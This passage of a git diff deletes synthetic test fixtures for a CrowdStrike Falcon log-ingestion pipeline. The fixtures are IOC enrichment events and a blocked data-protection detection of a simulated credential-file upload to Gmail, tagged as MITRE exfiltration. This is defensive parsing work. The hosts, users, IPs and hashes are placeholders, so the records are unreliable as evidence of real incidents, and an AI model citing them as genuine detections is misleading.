-                "category": [
-                    "threat"
-                ],
-                "created": "2025-10-09T08:53:20.000Z",
-                "kind": "enrichment",
-                "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"MD5String\":\"2f0eaaf91fc7a5c70d1f4be9b18a1cf5\",\"ParentProcessId\":\"11111111110\",\"ProcessStartTime\":1700000000,\"FileName\":\"Notepad.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\",\"CommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\Notepad.exe\\\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}",
-                "type": [
-                    "indicator"
-                ]
-            },
-            "file": {
-                "name": "Notepad.exe",
-                "path": "\\Device\\HarddiskVolume3\\Windows\\System32"
-            },
-            "host": {
-                "hostname": "DESKTOP-AAAAAAA",
-                "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "name": "DESKTOP-AAAAAAA"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "\"C:\\Windows\\system32\\Notepad.exe\""
-                ],
-                "command_line": "\"C:\\Windows\\system32\\Notepad.exe\"",
-                "entity_id": "11111111111",
-                "executable": "\"C:\\Windows\\system32\\Notepad.exe\"",
-                "parent": {
-                    "entity_id": "11111111110"
-                },
-                "start": "2023-11-14T22:13:20.000Z"
-            },
-            "related": {
-                "hash": [
-                    "2f0eaaf91fc7a5c70d1f4be9b18a1cf5"
-                ],
-                "hosts": [
-                    "DESKTOP-AAAAAAA"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "indicator": {
-                    "name": "2f0eaaf91fc7a5c70d1f4be9b18a1cf5",
-                    "type": "file"
-                }
-            }
-        },
-        {
-            "@timestamp": "2025-10-09T08:53:20.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                    "DomainName": "acme.corp"
-                },
-                "metadata": {
-                    "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd",
-                    "eventType": "CustomerIOCEvent",
-                    "offset": 123456789,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "threat"
-                ],
-                "created": "2025-10-09T08:53:20.000Z",
-                "kind": "enrichment",
-                "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"DomainName\":\"acme.corp\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}",
-                "type": [
-                    "indicator"
-                ]
-            },
-            "host": {
-                "hostname": "DESKTOP-AAAAAAA",
-                "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "name": "DESKTOP-AAAAAAA"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "entity_id": "11111111111"
-            },
-            "related": {
-                "hosts": [
-                    "acme.corp",
-                    "DESKTOP-AAAAAAA"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "indicator": {
-                    "name": "acme.corp",
-                    "type": "domain-name"
-                }
-            }
-        },
-        {
-            "@timestamp": "2025-10-09T08:53:20.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                    "IPv4": "203.0.113.5"
-                },
-                "metadata": {
-                    "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd",
-                    "eventType": "CustomerIOCEvent",
-                    "offset": 123456789,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "threat"
-                ],
-                "created": "2025-10-09T08:53:20.000Z",
-                "kind": "enrichment",
-                "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"IPv4\":\"203.0.113.5\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}",
-                "type": [
-                    "indicator"
-                ]
-            },
-            "host": {
-                "hostname": "DESKTOP-AAAAAAA",
-                "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "name": "DESKTOP-AAAAAAA"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "entity_id": "11111111111"
-            },
-            "related": {
-                "hosts": [
-                    "DESKTOP-AAAAAAA"
-                ],
-                "ip": [
-                    "203.0.113.5"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "indicator": {
-                    "as": {
-                        "number": 64502,
-                        "organization": {
-                            "name": "Documentation ASN"
-                        }
-                    },
-                    "geo": {
-                        "city_name": "Madrid",
-                        "continent_name": "Europe",
-                        "country_iso_code": "ES",
-                        "country_name": "Spain",
-                        "location": {
-                            "lat": 40.41639,
-                            "lon": -3.7025
-                        },
-                        "region_iso_code": "ES-M",
-                        "region_name": "Madrid"
-                    },
-                    "ip": "203.0.113.5",
-                    "name": "203.0.113.5",
-                    "type": "ipv4-addr"
-                }
-            }
-        },
-        {
-            "@timestamp": "2025-10-09T08:53:20.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                    "IPv6": "2001:db8:1234::abcd"
-                },
-                "metadata": {
-                    "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd",
-                    "eventType": "CustomerIOCEvent",
-                    "offset": 123456789,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "threat"
-                ],
-                "created": "2025-10-09T08:53:20.000Z",
-                "kind": "enrichment",
-                "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"IPv6\":\"2001:db8:1234::abcd\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}",
-                "type": [
-                    "indicator"
-                ]
-            },
-            "host": {
-                "hostname": "DESKTOP-AAAAAAA",
-                "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "name": "DESKTOP-AAAAAAA"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "entity_id": "11111111111"
-            },
-            "related": {
-                "hosts": [
-                    "DESKTOP-AAAAAAA"
-                ],
-                "ip": [
-                    "2001:db8:1234::abcd"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "indicator": {
-                    "as": {
-                        "number": 65551,
-                        "organization": {
-                            "name": "Documentation ASN"
-                        }
-                    },
-                    "geo": {
-                        "city_name": "Greenwich",
-                        "continent_name": "Europe",
-                        "country_iso_code": "GB",
-                        "country_name": "United Kingdom",
-                        "location": {
-                            "lat": 51.47687,
-                            "lon": -4.1E-4
-                        },
-                        "region_iso_code": "GB-ENG",
-                        "region_name": "England"
-                    },
-                    "ip": "2001:db8:1234::abcd",
-                    "name": "2001:db8:1234::abcd",
-                    "type": "ipv6-addr"
-                }
-            }
-        },
-        {
-            "@timestamp": "2025-10-09T08:53:20.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                    "SHA256String": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
-                },
-                "metadata": {
-                    "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd",
-                    "eventType": "CustomerIOCEvent",
-                    "offset": 123456789,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "threat"
-                ],
-                "created": "2025-10-09T08:53:20.000Z",
-                "kind": "enrichment",
-                "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"SHA256String\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}",
-                "type": [
-                    "indicator"
-                ]
-            },
-            "host": {
-                "hostname": "DESKTOP-AAAAAAA",
-                "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "name": "DESKTOP-AAAAAAA"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "entity_id": "11111111111"
-            },
-            "related": {
-                "hash": [
-                    "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
-                ],
-                "hosts": [
-                    "DESKTOP-AAAAAAA"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "indicator": {
-                    "name": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
-                    "type": "file"
-                }
-            }
-        },
-        {
-            "@timestamp": "2025-10-09T08:53:20.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                    "MD5String": "e99a18c428cb38d5f260853678922e03"
-                },
-                "metadata": {
-                    "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd",
-                    "eventType": "CustomerIOCEvent",
-                    "offset": 123456789,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "threat"
-                ],
-                "created": "2025-10-09T08:53:20.000Z",
-                "kind": "enrichment",
-                "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"MD5String\":\"e99a18c428cb38d5f260853678922e03\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}",
-                "type": [
-                    "indicator"
-                ]
-            },
-            "host": {
-                "hostname": "DESKTOP-AAAAAAA",
-                "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "name": "DESKTOP-AAAAAAA"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "entity_id": "11111111111"
-            },
-            "related": {
-                "hash": [
-                    "e99a18c428cb38d5f260853678922e03"
-                ],
-                "hosts": [
-                    "DESKTOP-AAAAAAA"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "indicator": {
-                    "name": "e99a18c428cb38d5f260853678922e03",
-                    "type": "file"
-                }
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log
deleted file mode 100644
index 7471623ccb..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log
+++ /dev/null
@@ -1,2 +0,0 @@
-{"metadata":{"customerIDString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","offset":689071490,"eventType":"DataProtectionDetectionSummaryEvent","eventCreationTime":1761895380000,"version":"1.0"},"event":{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","Name":"Test attempted to be uploaded to Google Gmail","Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","Severity":90,"SeverityName":"Critical","FalconHostLink":"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq","Destination":{"Channel":"web"},"UserName":"Bob","UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","Hostname":"DESKTOP-OM905R2","PatternId":80005,"DataVolume":39,"DetectionType":"rule-based","Platform":"Windows","MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"EgressSessionId":"abc","SessionStartTimestamp":1761915027,"SessionEndTimestamp":1761915027,"UserMapped":true,"FilesEgressedCount":12}}
-{"metadata":{"customerIDString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","offset":689071490,"eventType":"DataProtectionDetectionSummaryEvent","eventCreationTime":1761895380000,"version":"1.0"},"event":{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","Name":"Test attempted to be uploaded to Google Gmail","Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","Severity":90,"SeverityName":"Critical","FalconHostLink":"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq","Destination":{"Channel":"web"},"UserName":"Bob","UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","Hostname":"DESKTOP-OM905R2","PatternId":80005,"DataVolume":39,"DetectionType":"rule-based","Platform":"Windows","MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"EgressEventId":"180d01b9b65811f0a9f0c0892b3c995e","Policy":{"ID":"a6e6792845654b69a8a89e793421b77a","Name":"Data Protection Policy"},"MatchedClassification":{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"},"RelatedClassifications":[{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"}],"UserNotified":true,"ResponseAction":"blocked","RuleId":"7d81198e7da846b2a664afccc7f5d9e4","IsClipboard":false,"ContentPatterns":[{"ID":"4392b1416c974a488c31fbc4c97e89f6","Name":"Credentials","ConfidenceLevel":3,"MatchCount":1}],"ContentSha":"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08","Filename":"sensitive_123.txt","FileType":{"Type":{"ID":"48a7eca83afa42a78cf12b8f2f877eec","Name":"Plain Text","Description":"Plain Text (txt) File","CategoryID":"4689d0386bdd4e2e9423a0fc19dcaccb","CategoryName":"Document"}},"EventTimestamp":1761915027}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log-expected.json
deleted file mode 100644
index c3a5e40937..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log-expected.json
+++ /dev/null
@@ -1,247 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2025-10-31T07:23:00.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AgentId": "5d77282ab4fxxxxxxxxxx65784cfa8f0",
-                    "CompositeId": "2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e",
-                    "Destination": {
-                        "Channel": "web"
-                    },
-                    "DetectionType": "rule-based",
-                    "EgressSessionId": "abc",
-                    "FilesEgressedCount": 12,
-                    "MitreAttack": [
-                        {
-                            "Tactic": "Exfiltration",
-                            "TacticID": "TA0010",
-                            "Technique": "Exfiltration Over Web Service",
-                            "TechniqueID": "T1567"
-                        }
-                    ],
-                    "PatternId": "80005",
-                    "Severity": 90,
-                    "SeverityName": "Critical",
-                    "UserMapped": true
-                },
-                "metadata": {
-                    "customerIDString": "2cc98db1a4xxxxxxxxxxc94d43bfab70",
-                    "eventType": "DataProtectionDetectionSummaryEvent",
-                    "offset": 689071490,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Test attempted to be uploaded to Google Gmail",
-                "category": [
-                    "malware"
-                ],
-                "created": "2025-10-31T07:23:00.000Z",
-                "duration": 0,
-                "end": "2025-10-31T12:50:27.000Z",
-                "kind": "alert",
-                "original": "{\"metadata\":{\"customerIDString\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70\",\"offset\":689071490,\"eventType\":\"DataProtectionDetectionSummaryEvent\",\"eventCreationTime\":1761895380000,\"version\":\"1.0\"},\"event\":{\"AgentId\":\"5d77282ab4fxxxxxxxxxx65784cfa8f0\",\"CompositeId\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e\",\"Name\":\"Test attempted to be uploaded to Google Gmail\",\"Description\":\"Bob attempted to upload sensitive_123.txt to Google Gmail\",\"Tactic\":\"Exfiltration\",\"TacticId\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueId\":\"T1567\",\"Severity\":90,\"SeverityName\":\"Critical\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq\",\"Destination\":{\"Channel\":\"web\"},\"UserName\":\"Bob\",\"UserSid\":\"S-1-5-21-2123450692-2512345670-1234574870-1234\",\"Hostname\":\"DESKTOP-OM905R2\",\"PatternId\":80005,\"DataVolume\":39,\"DetectionType\":\"rule-based\",\"Platform\":\"Windows\",\"MitreAttack\":[{\"Tactic\":\"Exfiltration\",\"TacticID\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueID\":\"T1567\"}],\"EgressSessionId\":\"abc\",\"SessionStartTimestamp\":1761915027,\"SessionEndTimestamp\":1761915027,\"UserMapped\":true,\"FilesEgressedCount\":12}}",
-                "outcome": "unknown",
-                "reference": "https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq",
-                "severity": 99,
-                "start": "2025-10-31T12:50:27.000Z",
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "size": 39
-            },
-            "host": {
-                "name": "DESKTOP-OM905R2",
-                "os": {
-                    "platform": "windows"
-                }
-            },
-            "message": "Bob attempted to upload sensitive_123.txt to Google Gmail",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "hosts": [
-                    "DESKTOP-OM905R2"
-                ],
-                "user": [
-                    "Bob"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "MITRE ATT&CK",
-                "tactic": {
-                    "id": [
-                        "TA0010"
-                    ],
-                    "name": [
-                        "Exfiltration"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "T1567"
-                    ],
-                    "name": [
-                        "Exfiltration Over Web Service"
-                    ]
-                }
-            },
-            "user": {
-                "id": "S-1-5-21-2123450692-2512345670-1234574870-1234",
-                "name": "Bob"
-            }
-        },
-        {
-            "@timestamp": "2025-10-31T07:23:00.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AgentId": "5d77282ab4fxxxxxxxxxx65784cfa8f0",
-                    "CompositeId": "2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e",
-                    "ContentPatterns": [
-                        {
-                            "ConfidenceLevel": 3,
-                            "ID": "4392b1416c974a488c31fbc4c97e89f6",
-                            "MatchCount": 1,
-                            "Name": "Credentials"
-                        }
-                    ],
-                    "Destination": {
-                        "Channel": "web"
-                    },
-                    "DetectionType": "rule-based",
-                    "EventTimestamp": "2025-10-31T12:50:27.000Z",
-                    "FileType": {
-                        "Type": {
-                            "CategoryID": "4689d0386bdd4e2e9423a0fc19dcaccb",
-                            "CategoryName": "Document",
-                            "Description": "Plain Text (txt) File",
-                            "ID": "48a7eca83afa42a78cf12b8f2f877eec",
-                            "Name": "Plain Text"
-                        }
-                    },
-                    "IsClipboard": false,
-                    "MatchedClassification": {
-                        "ID": "8318b19065af48fa839f9259022e5e0a",
-                        "Name": "Test"
-                    },
-                    "MitreAttack": [
-                        {
-                            "Tactic": "Exfiltration",
-                            "TacticID": "TA0010",
-                            "Technique": "Exfiltration Over Web Service",
-                            "TechniqueID": "T1567"
-                        }
-                    ],
-                    "PatternId": "80005",
-                    "RelatedClassifications": [
-                        {
-                            "ID": "8318b19065af48fa839f9259022e5e0a",
-                            "Name": "Test"
-                        }
-                    ],
-                    "ResponseAction": "blocked",
-                    "RuleId": "7d81198e7da846b2a664afccc7f5d9e4",
-                    "Severity": 90,
-                    "SeverityName": "Critical",
-                    "UserNotified": true
-                },
-                "metadata": {
-                    "customerIDString": "2cc98db1a4xxxxxxxxxxc94d43bfab70",
-                    "eventType": "DataProtectionDetectionSummaryEvent",
-                    "offset": 689071490,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Test attempted to be uploaded to Google Gmail",
-                "category": [
-                    "malware"
-                ],
-                "created": "2025-10-31T07:23:00.000Z",
-                "id": "180d01b9b65811f0a9f0c0892b3c995e",
-                "kind": "alert",
-                "original": "{\"metadata\":{\"customerIDString\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70\",\"offset\":689071490,\"eventType\":\"DataProtectionDetectionSummaryEvent\",\"eventCreationTime\":1761895380000,\"version\":\"1.0\"},\"event\":{\"AgentId\":\"5d77282ab4fxxxxxxxxxx65784cfa8f0\",\"CompositeId\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e\",\"Name\":\"Test attempted to be uploaded to Google Gmail\",\"Description\":\"Bob attempted to upload sensitive_123.txt to Google Gmail\",\"Tactic\":\"Exfiltration\",\"TacticId\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueId\":\"T1567\",\"Severity\":90,\"SeverityName\":\"Critical\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq\",\"Destination\":{\"Channel\":\"web\"},\"UserName\":\"Bob\",\"UserSid\":\"S-1-5-21-2123450692-2512345670-1234574870-1234\",\"Hostname\":\"DESKTOP-OM905R2\",\"PatternId\":80005,\"DataVolume\":39,\"DetectionType\":\"rule-based\",\"Platform\":\"Windows\",\"MitreAttack\":[{\"Tactic\":\"Exfiltration\",\"TacticID\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueID\":\"T1567\"}],\"EgressEventId\":\"180d01b9b65811f0a9f0c0892b3c995e\",\"Policy\":{\"ID\":\"a6e6792845654b69a8a89e793421b77a\",\"Name\":\"Data Protection Policy\"},\"MatchedClassification\":{\"ID\":\"8318b19065af48fa839f9259022e5e0a\",\"Name\":\"Test\"},\"RelatedClassifications\":[{\"ID\":\"8318b19065af48fa839f9259022e5e0a\",\"Name\":\"Test\"}],\"UserNotified\":true,\"ResponseAction\":\"blocked\",\"RuleId\":\"7d81198e7da846b2a664afccc7f5d9e4\",\"IsClipboard\":false,\"ContentPatterns\":[{\"ID\":\"4392b1416c974a488c31fbc4c97e89f6\",\"Name\":\"Credentials\",\"ConfidenceLevel\":3,\"MatchCount\":1}],\"ContentSha\":\"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08\",\"Filename\":\"sensitive_123.txt\",\"FileType\":{\"Type\":{\"ID\":\"48a7eca83afa42a78cf12b8f2f877eec\",\"Name\":\"Plain Text\",\"Description\":\"Plain Text (txt) File\",\"CategoryID\":\"4689d0386bdd4e2e9423a0fc19dcaccb\",\"CategoryName\":\"Document\"}},\"EventTimestamp\":1761915027}}",
-                "outcome": "failure",
-                "reference": "https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq",
-                "severity": 99,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "extension": "txt",
-                "hash": {
-                    "sha256": "21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08"
-                },
-                "name": "sensitive_123.txt",
-                "size": 39
-            },
-            "host": {
-                "name": "DESKTOP-OM905R2",
-                "os": {
-                    "platform": "windows"
-                }
-            },
-            "message": "Bob attempted to upload sensitive_123.txt to Google Gmail",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "hash": [
-                    "21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08"
-                ],
-                "hosts": [
-                    "DESKTOP-OM905R2"
-                ],
-                "user": [
-                    "Bob"
-                ]
-            },
-            "rule": {
-                "id": "a6e6792845654b69a8a89e793421b77a",
-                "name": "Data Protection Policy"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "MITRE ATT&CK",
-                "tactic": {
-                    "id": [
-                        "TA0010"
-                    ],
-                    "name": [
-                        "Exfiltration"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "T1567"
-                    ],
-                    "name": [
-                        "Exfiltration Over Web Service"
-                    ]
-                }
-            },
-            "user": {
-                "id": "S-1-5-21-2123450692-2512345670-1234574870-1234",
-                "name": "Bob"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log
deleted file mode 100644
index a2b9028cc9..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log
+++ /dev/null
@@ -1,197 +0,0 @@
-{
-    "metadata": {
-        "customerIDString": "123123abcd",
-        "offset": 1,
